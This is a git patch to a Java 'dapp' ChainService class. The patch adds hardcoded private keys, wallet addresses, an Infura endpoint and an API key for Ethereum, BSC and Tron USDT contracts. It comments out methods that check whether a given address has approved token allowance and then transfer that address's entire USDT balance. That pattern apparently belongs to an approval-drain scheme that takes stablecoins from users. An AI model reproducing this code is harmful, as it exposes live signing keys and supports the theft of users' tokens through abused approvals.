From f4184f358030bed3fb57108d47640ceeaf5ecd03 Mon Sep 17 00:00:00 2001 From: wzy <wzy19931122ai@163.com> Date: Fri, 15 Apr 2022 22:37:45 +0800 Subject: [PATCH] add bsc and improve code --- src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java | 177 +++++++++++++++++++++++++++++++++++----------------------- 1 files changed, 106 insertions(+), 71 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java index 89cbd2c..a95547b 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/ChainService.java @@ -4,91 +4,126 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; +import org.springframework.data.repository.query.ParameterOutOfBoundsException; import java.math.BigDecimal; import java.math.BigInteger; +import java.rmi.activation.UnknownObjectException; /** - * @author + * @author * @date 2022-03-23 **/ public class ChainService { - private final String ETH_PREFIX = "0x"; - private final EthService ETH = new EthService(); - private final TrxService TRX = TrxService.INSTANCE; + private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL"; + private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb"; + private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t"; + private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54"; - private ChainService() {} + private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; + private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D"; + private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb"; + private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7"; + + private final static String BSC_URL = "https://data-seed-prebsc-1-s1.binance.org:8545"; + private final static String BSC_ADDRESS = "0x4EbDCA102623b46a47042D580dddAdE2a53D057F"; + private final static String BSC_PRIVATE = "0x81c2c02d0c106c1e32ab060a37f6eb279c0649c30ea5cc1c4951e6a8dd4e963c"; + private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955"; + + private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS); + private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS); + private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY); + + private final String ETH_PREFIX = "0x"; + + private ChainService() { + } public final static ChainService INSTANCE = new ChainService(); - /** - * 获取制定账号的USDT余额 - * - * @param address - * @return - */ - public BigDecimal balanceOf(String address) { - BigDecimal balance = BigDecimal.ZERO; - if (address.contains(ETH_PREFIX)) { - balance = ETH.tokenGetBalance(address); - } else { - balance = TRX.balanceOf(address); - } - return balance; - } - - /** - * 判断地址是否授权给制定账户 - * - * @param address - * @return - */ - public boolean isAllowance(String address) { - BigInteger result; - if (address.startsWith(ETH_PREFIX)) { - result = ETH.ethAllowance(address); - } else { - result = TRX.allowance(address); + public static ContractChainService getInstance(String chainType) { + switch (chainType) { + case "ETH" : + return ETH; + case "BSC" : + return BSC; + case "TRX" : + return TRX; + default: + break; } - return result.intValue() != 0; + throw new FebsException("参数错误"); } - - /** - * 获取地址授权数量 - * - * @param address - * @return - */ - public int allowanceCnt(String address) { - String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); - String total = JSONObject.parseObject(response).getString("total"); - return Integer.parseInt(total); - } - - public String transfer(String address) { - BigDecimal amount = balanceOf(address); - - return transfer(address, amount); - } - - public String transfer(String address, BigDecimal amount) { - String hash; - if (address.startsWith(ETH_PREFIX)) { - String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); - JSONObject data = JSONObject.parseObject(resp); - hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); - } else { - hash = TRX.transfer(address, amount); - } - return hash; - } - - public static void main(String[] args) { -// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); - -// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); - System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); - } +// +// /** +// * 获取制定账号的USDT余额 +// * +// * @param address +// * @return +// */ +// public BigDecimal balanceOf(String address) { +// BigDecimal balance = BigDecimal.ZERO; +// if (address.contains(ETH_PREFIX)) { +// balance = ETH.tokenGetBalance(address); +// } else { +// balance = TRX.balanceOf(address); +// } +// return balance; +// } +// +// /** +// * 判断地址是否授权给制定账户 +// * +// * @param address +// * @return +// */ +// public boolean isAllowance(String address) { +// BigInteger result; +// if (address.startsWith(ETH_PREFIX)) { +// result = ETH.ethAllowance(address); +// } else { +// result = TRX.allowance(address); +// } +// +// return result.intValue() != 0; +// } +// +// /** +// * 获取地址授权数量 +// * +// * @param address +// * @return +// */ +// public int allowanceCnt(String address) { +// String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); +// String total = JSONObject.parseObject(response).getString("total"); +// return Integer.parseInt(total); +// } +// +// public String transfer(String address) { +// BigDecimal amount = balanceOf(address); +// +// return transfer(address, amount); +// } +// +// public String transfer(String address, BigDecimal amount) { +// String hash; +// if (address.startsWith(ETH_PREFIX)) { +// String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124"); +// JSONObject data = JSONObject.parseObject(resp); +// hash = ETH.approveTransfer(address, amount, data.getString("avgPrice")); +// } else { +// hash = TRX.transfer(address, amount); +// } +// return hash; +// } +// +// public static void main(String[] args) { +//// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5))); +// +//// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); +// System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024")); +// } } -- Gitblit v1.9.1